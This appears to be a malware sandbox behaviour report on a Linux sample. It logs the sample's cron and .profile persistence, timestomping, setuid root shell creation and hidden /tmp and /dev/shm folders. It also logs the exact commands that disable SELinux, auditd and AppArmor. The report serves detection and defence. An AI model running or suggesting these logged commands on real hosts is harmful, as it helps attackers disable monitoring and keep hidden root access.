Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/cron.daily/perfclean
- /etc/cron.hourly/perfclean
- /etc/cron.d/perfclean
- /var/spool/cron/crontabs/root
Malicious functions:
Removes itself
Substitutes application name for:
- (sysv-install)
Manages services:
- ['systemctl', 'status', 'auditd']
- ['systemctl', 'status', 'apparmor']
- ['systemctl', 'stop', 'apparmor']
- ['systemctl', 'disable', 'apparmor']
- ['systemctl', 'daemon-reload']
Launches processes:
- getconf PAGESIZE
- /bin/sh -c echo 0 > /sys/fs/selinux/enforce
- /bin/sh -c touch -acmr /bin/sh /bin/perfcc
- touch -acmr /bin/sh /bin/perfcc
- /bin/sh -c if systemctl status auditd|grep -q \x27enabled;\x27;then systemctl stop auditd;systemctl disable auditd;fi
- /bin/sh -c sed -n -i \x27/perfcc/d;p;1a test -x /bin/perfcc && FPROF=p /bin/perfcc\x27 /root/.profile;touch -acmr /bin/sh /root/.profile
- touch -acmr /bin/sh /root/.profile
- cp /proc/731/exe /lib/libpprocps.so
- nohup <SAMPLE_FULL_PATH>
- getconf CLK_TCK
- mandb --quiet
- crontab -
- /usr/bin/perl /usr/sbin/update-rc.d apparmor disable
- /bin/sh /lib/systemd/systemd-sysv-install disable apparmor
- /bin/sh -c PATH=/tmp/.perf.c:/root:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;mandb --quiet &
- touch -acmr /bin/sh /bin/wizlmsh
- sed -n -i /perfcc/d;p;1a test -x /bin/perfcc && FPROF=p /bin/perfcc /root/.profile
- /bin/sh -c cp /proc/712/exe /tmp/.perf.c/mandb && chmod +x /tmp/.perf.c/mandb
- /bin/sh -c PATH=/root:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;nohup <SAMPLE_FULL_PATH> >/dev/null 2>/dev/null & exit
- /bin/sh -c cp /proc/731/exe /lib/libpprocps.so && chmod +x /lib/libpprocps.so
- getopt -o r: --long root: -- disable apparmor
- cp /proc/712/exe /tmp/.perf.c/mandb
- grep -q enabled;
- /bin/sh -c chmod 4755 /bin/wizlmsh
- chmod +x /tmp/.perf.c/mandb
- /bin/sh -c setenforce 0
- /bin/sh -c touch -acmr /bin/sh /bin/wizlmsh
- /bin/sh -c (crontab -l|grep -v -e perfcc -e /tmp/.perf;echo \x2711 * * * * /root/.config/cron/perfcc\x27)|crontab -
- grep -v -e perfcc -e /tmp/.perf
- /bin/sh -c if systemctl status apparmor|grep -q \x27enabled;\x27;then systemctl stop apparmor;systemctl disable apparmor;fi
- /usr/bin/perl /usr/sbin/update-rc.d apparmor defaults
- chmod +x /lib/libpprocps.so
- crontab -l
- chmod 4755 /bin/wizlmsh
- /bin/sh -c auditctl -e0
Performs operations with the file system:
Modifies file access rights:
- /tmp/.perf.c/mandb
- /usr/bin/wizlmsh
- /usr/bin/perfcc
- /etc/cron.daily/perfclean
- /etc/cron.hourly/perfclean
- /etc/cron.d/perfclean
- /var/spool/cron/crontabs/tmp.4V312s
- /usr/lib/libpprocps.so
Modifies file owner:
- /root/sedp0vNtO
Creates folders:
- /tmp/.xdiag
- /tmp/.perf.c
- /tmp/.xdiag/int
- /tmp/.xdiag/int/bin
- /root/.config
- /root/.config/cron
- /.dmesg
- /.dmesg/ino
- /.dmesg/pds
Creates or modifies files:
- /tmp/.xdiag/elog
- /tmp/.perf.c/mandb
- /sys/fs/selinux/enforce
- /tmp/.xdiag/p
- /tmp/.xdiag/uid
- /tmp/.xdiag/ver
- /tmp/.xdiag/int/.e.lock
- /tmp/.xdiag/cp
- /dev/shm/.dmesg/ino/130830
- /dev/shm/.dmesg/ino/7948
- /dev/shm/.dmesg/ino/13371
- /dev/shm/.dmesg/ino/13412
- /dev/shm/.dmesg/pds/731
- /dev/shm/.dmesg/pds/743
- /root/.config/cron/perfcc
- /usr/bin/wizlmsh
- /dev/shm/.dmesg/pds/746
- /dev/shm/.dmesg/pds/748
- /dev/shm/.dmesg/pds/749
- /dev/shm/.dmesg/pds/750
- /dev/shm/.dmesg/pds/752
- /dev/shm/.dmesg/pds/753
- /usr/bin/perfcc
- /dev/shm/.dmesg/pds/756
- /dev/shm/.dmesg/pds/760
- /dev/shm/.dmesg/pds/761
- /dev/shm/.dmesg/pds/762
- /dev/shm/.dmesg/pds/763
- /dev/shm/.dmesg/pds/766
- /dev/shm/.dmesg/pds/767
- /dev/shm/.dmesg/pds/768
- /var/spool/cron/crontabs/tmp.4V312s
- /dev/shm/.dmesg/pds/769
- /dev/shm/.dmesg/pds/770
- /dev/shm/.dmesg/pds/772
- /dev/shm/.dmesg/pds/771
- /dev/shm/.dmesg/pds/773
- /root/sedp0vNtO
- /usr/lib/libpprocps.so
- /etc/rcS.d/S01apparmor
- /dev/shm/.dmesg/pds/782
- /dev/shm/.dmesg/pds/788
Deletes files:
- /.dmesg/pds/743
- /.dmesg/pds/750
- /.dmesg/pds/752
- /.dmesg/pds/748
- /.dmesg/pds/749
- /.dmesg/pds/753
- /.dmesg/pds/756
- /.dmesg/pds/762
- /.dmesg/pds/767
- /.dmesg/pds/766
- /.dmesg/pds/771
- /.dmesg/pds/773
- /.dmesg/pds/772
- /.dmesg/pds/769
- /.dmesg/pds/770
Changes time of creation/access/modification of files:
- /bin/wizlmsh
- /bin/perfcc
- /var/spool/cron/crontabs
- /root/.profile
Network activity:
Establishes connection:
- 127.0.0.1:63582
Other:
Collects CPU information
Collects information about network activity
